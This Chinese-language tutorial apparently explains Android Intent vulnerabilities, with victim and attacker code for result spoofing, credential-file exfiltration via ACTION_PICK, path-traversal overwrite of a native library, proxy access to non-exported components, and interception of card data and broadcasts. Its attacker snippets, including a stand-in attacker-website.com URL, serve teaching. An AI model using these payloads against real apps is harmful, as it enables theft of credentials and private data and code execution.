Intent漏洞

1.Intent 类型

显示Intent

显式Intent通过提供目标应用的包名称或完全限定的组件类名来指定哪个应用程序将满足意向。

即需要明确组件类名。如

例如,如果你在应用中构建一个名为DownloadService的服务,用于从Web下载文件,可以使用以下代码启动:

1
2
3
4
5
// Executed in an Activity, so 'this' is the Context
// The fileUrl is a string URL, such as "http://www.example.com/image.png"
Intent downloadIntent = new Intent(this, DownloadService.class);
downloadIntent.setData(Uri.parse(fileUrl));
startService(downloadIntent);

隐示Intent

不会指定特定的组件,而是声明要执行的常规操作,从而允许其他应用中的组件来处理。例如,如需在地图上向用户显示位置,则可以使用隐式 Intent,请求另一具有此功能的应用共享内容

例如,如果希望与其他人共享的内容,可以使用 ACTION_SEND 操作创建 Intent,并添加指定要共享的内容。则可以使用隐式 Intent调用startActivity(),请求另一具有此功能的应用共享内容。

1
2
3
4
5
6
7
8
9
10
11
12
// Create the text message with a string.
Intent sendIntent = new Intent();
sendIntent.setAction(Intent.ACTION_SEND);
sendIntent.putExtra(Intent.EXTRA_TEXT, textMessage);//分享的内容
sendIntent.setType("text/plain");//分享的是文本类型

// Try to invoke the intent.
try {
startActivity(sendIntent);
} catch (ActivityNotFoundException e) {
// Define what your app should do if no activity can handle the intent.
}

其他应用接受文本内容

1
2
3
4
5
6
7
<activity android:name=".ui.MyActivity" >
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="text/plain" />
</intent-filter>
</activity>

处理传入的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void onCreate (Bundle savedInstanceState) {
...
// Get intent, action and MIME type
Intent intent = getIntent();
String action = intent.getAction();
String type = intent.getType();

if (Intent.ACTION_SEND.equals(action) && type != null) {
if ("text/plain".equals(type)) {
handleSendText(intent); // Handle text being sent
}
} else {
// Handle other intents, such as being started from the home screen
}
...
}

void handleSendText(Intent intent) {
String sharedText = intent.getStringExtra(Intent.EXTRA_TEXT);
if (sharedText != null) {
// Update UI to reflect text being shared
}
}

您可以使用 android:priority="num" 属性在 Intent 过滤器中控制应用在列表中的位置

2.安全问题

滥用Activity返回值

如果受害应用使用startActivityForResult(),攻击应用使用setResult()将数据传输到受害者应用的onActivityResult()中,基于onActivityResulty()中具体的实现产生具体攻击。

通常有两种攻击操作:

  • 通常导致读入任意文件
  • 自定义操作,取决于应用程序实现产生的不同漏洞

自定义操作

受害者应用代码:功能需要接受返回数据并在webview中打开,接收返回码为1

1
startActivityForResult(new Intent("com.victim.PICK_ARTICLE"), 1);
1
2
3
4
5
6
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode == 1 && resultCode == -1) {
webView.loadUrl(data.getStringExtra("picked_url"), getAuthHeaders());
}
}

攻击者应用代码:处理com.victim.PICK_ARTICLE操作,并传递危险url给受害者应用

AndroidManifest.xml

1
2
3
4
5
6
<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.victim.PICK_ARTICLE" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

EvilActivity.java

1
2
3
4
5
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setResult(-1, new Intent().putExtra("picked_url", "https://attacker-website.com/"));
finish();
}

攻击链:

打开攻击应用传输攻击链接给受害者应用-受害者应用打开攻击链接

系统操作

标准的android操作

android.intent.action.PICK 选择图片

android.intent.action.GET_CONTENT 选择文件

android.media.action.IMAGE_CAPTURE 创建图片

etc.

用于获取用户选择的文件(文档、图象、视频)的URI,并在应用中进行处理(例如,将文件发送到服务器中),大多Android/Java无法将Android ContentResolver返回的InputSteam数据发送到服务器中。所以应用在处理文件之前会把URI缓存到文件中。这可能导致读取/写入任意文件。

任意文件读取

假设应用获取URI并将文件换从到外部目录(例如SD卡),易受攻击的应用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
return;
}
Uri pickedUri = data.getData();
File cacheFile = new File(getExternalCacheDir(), "temp");
copy(pickedUri, cacheFile);

// the file is then processed in some way
}
private void copy(Uri uri, File toFile) {
try {
InputStream inputStream = getContentResolver().openInputStream(uri);
OutputStream outputStream = new FileOutputStream(toFile);
copy(inputStream, outputStream);
}
catch (Throwable th) {
// error handling
}
}
public static void copy(InputStream inputStream, OutputStream outputStream) throws IOException {
byte[] bArr = new byte[65536];
while (true) {
int read = inputStream.read(bArr);
if (read == -1) {
break;
}
outputStream.write(bArr, 0, read);
}
}

这种情况下,可以创建一个应用,应用将返回指向目标应用的专用目录中的文件链接:

攻击应用代码:

AndroidManifest.xml

1
2
3
4
5
6
7
8
<activity android:name=".PickerActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.PICK" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
<data android:mimeType="image/*" />
</intent-filter>
</activity>

PickerActivity.java

1
2
3
4
5
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setResult(-1, new Intent().setData(Uri.parse("file:///data/data/com.victim/databases/credentials")));
finish();
}

打开当受害者应用选择点击攻击者应用时,/data/data/com.victim/databases/credentials文件会自动复制到SD卡上,并且任何应用具有android.permission.READ_EXTERNAL_STORAGE权限都可以进行读取该文件。

任意文件写入

假设应用获取Content URI 并将文件从ContentProvider缓存到临时目录,则易受攻击的应用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivityForResult(new Intent(Intent.ACTION_PICK), 1337);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode != 1337 || resultCode != -1 || data == null || data.getData() == null) {
return;
}
Uri pickedUri = data.getData();
File pickedFile;
if("file".equals(pickedUri.getScheme())) {
pickedFile = new File(pickedUri.getPath());
}
else if("content".equals(pickedUri.getScheme())) {
pickedFile = new File(getCacheDir(), getFileName(pickedUri));
copy(pickedUri, pickedFile);
}
// do something with the file
}
private String getFileName(Uri pickedUri) {
Cursor cursor = getContentResolver().query(pickedUri, new String[]{MediaStore.MediaColumns.DISPLAY_NAME}, null, null, null);
if(cursor != null && cursor.moveToFirst()) {
String displayName = cursor.getString(cursor.getColumnIndex(MediaStore.MediaColumns.DISPLAY_NAME));
if(displayName != null) {
return displayName;
}
}
return "temp";
}
private void copy(Uri uri, File toFile) {
try {
InputStream inputStream = getContentResolver().openInputStream(uri);
OutputStream outputStream = new FileOutputStream(toFile);
copy(inputStream, outputStream);
}
catch (Throwable th) {
// error handling
}
}
public static void copy(InputStream inputStream, OutputStream outputStream) throws IOException {
byte[] bArr = new byte[65536];
while (true) {
int read = inputStream.read(bArr);
if (read == -1) {
break;
}
outputStream.write(bArr, 0, read);
}
}

可以使用ContentProvider,将带有路径遍历的名称传递给getFileName()方法,攻击者应用:

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<activity android:name=".PickerActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.PICK" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
<data android:mimeType="image/*" />
</intent-filter>
</activity>
<provider android:name=".EvilContentProvider"
android:authorities="com.attacker.evil"
android:enabled="true"
android:exported="true">
</provider>

EvilContentProvider.java

1
2
3
4
5
6
7
8
9
10
11
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
MatrixCursor matrixCursor = new MatrixCursor(new String[]{"_display_name"});
matrixCursor.addRow(new Object[]{"../lib-main/lib.so"});
return matrixCursor;
}
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
return ParcelFileDescriptor.open(
new File("/data/data/com.attacker/fakelib.so"),
ParcelFileDescriptor.MODE_READ_ONLY
);
}

上面代码可以绕过/data/data/com.victim/cache/目录边界,并将文件写入

/data/data/com.victim/lib-main/lib.so如果目标应用加载此so,则会导致受害者Context任意代码执行

我理解的是启动受害者应用会调起攻击者应用然后利用路径遍历,然后替换原有的lib.so,造成任意代码执行,可以在攻击lib.so中加载恶意代码执行。ps:上面是我的理解,不知道对不对

访问任意组件

由于 Intent 是 Parcelable,因此属于此类的对象可以作为额外数据传递给另一个 Intent。这可用于创建一个代理组件(活动、广播接收器或服务),该组件采用嵌入式意图并将其传递给危险方法,如startActivity()或 sendBroadcast()因此,可以强制应用启动无法直接从其他应用启动的未导出组件,或授予自己对应用内容提供商的访问权限。

例如,假设应用具有执行某些不安全操作的未导出活动以及用作代理的导出活动:

AndroidManifest.xml

1
2
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

ProxyActivity.java

1
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

AuthWebViewActivity.java

1
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

在此示例中,AuthWebViewActivity 将用户身份验证会话传递到从 url 参数获取的 URL。

导出限制意味着您无法直接访问 AuthWebViewActivity,并且直接调用会抛出 java.lang.SecurityException,并拒绝权限:AuthWebViewActivity 未从 uid 1337 消息导出:
可以通过ProxyActivity进行访问AuthWebViewActivity

1
2
3
4
5
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
// throws java.lang.SecurityException
startActivity(intent);

但是,您可以强制受害者自行启动AuthWebViewActivity

1
2
3
4
5
6
7
8
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://attacker-website.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

没有安全违规,因为应用可以访问自己的所有组件。因此,它允许您绕过Android的内置限制。

就其本身而言,启动隐藏组件不会产生太大的安全影响,并且需要滥用隐藏组件的功能:

旁路保护

开发人员可以实现对收到的意图的过滤和显式设置组件以处理意图null

intent.setComponent(null);//null 让系统为您找到一个

在这种情况下,可以通过指定未导出的组件来绕过应用的显式意图保护选择器:

1
2
3
Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://attacker-website.com/");

尝试查找可以处理 Intent 的实体(而不是 Intent 的主要内容)时,将使用选择器。

但是,开发人员可以将选择器显式设置为 null

1
2
intent.setComponent(null);
intent.setSelector(null);

即便如此,您也可以创建一个隐式意图来匹配 某些未导出活动的intent-filter

1
2
3
4
5
6
7
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>

不安全活动启动

如果应用对某些私有数据使用隐式Intent来启动Activity,则可以开始处理相同的操作来拦截私有数据。例如,假设银行应用对卡数据使用隐式Intent来启动Activity:

1
2
3
4
5
6
<activity android:name=".AddCardActivity">
<intent-filter>
<action android:name="com.victim.ADD_CARD_ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
1
2
3
4
5
Intent intent = new Intent("com.victim.ADD_CARD_ACTION");
intent.putExtra("credit_card_number", num.getText().toString());
intent.putExtra("holder_name", name.getText().toString());
// ...
startActivity(intent);

您可以按如下方式截获卡数据:

AndroidMainfest.xml

1
2
3
4
5
6
<activity android:name=".EvilActivity">
<intent-filter android:priority="999">
<action android:name="com.victim.ADD_CARD_ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

EvilActivity.java

1
2
3
Log.d("d", "Number: " + getIntent().getStringExtra("credit_card_number"));
Log.d("d", "Holder: " + getIntent().getStringExtra("holder_name"));
// ...

android:priority比较高就会优先拦截卡号姓名信息。

不安全的广播

如果应用使用隐式Intent来传递广播,则可以使用相同的操作注册广播接收器,并从其他应用拦截用户的广播。例如,假设消息传递服务从服务器请求新消息,并将其传递给负责在用户屏幕上显示这些消息的广播接收器:

1
2
3
4
Intent intent = new Intent("com.victim.messenger.IN_APP_MESSAGE");
intent.putExtra("from", id);
intent.putExtra("text", text);
sendBroadcast(intent);

由于隐式广播会传送到设备上注册的每个接收器,因此可以跨所有应用注册以下广播接收器来拦截用户的广播:

AndroidManifest.xml

1
2
3
4
5
<receiver android:name=".EvilReceiver">
<intent-filter>
<action android:name="com.victim.messenger.IN_APP_MESSAGE" />
</intent-filter>
</receiver>

EvilReceiver.java

1
2
3
4
5
6
7
8
9
public class EvilReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
if ("com.victim.messenger.IN_APP_MESSAGE".equals(intent.getAction())) {
// log intercepted data
Log.d("d", "From: " + intent.getStringExtra("from"));
Log.d("d", "Text: " + intent.getStringExtra("text"));
}
}
}

Intent漏洞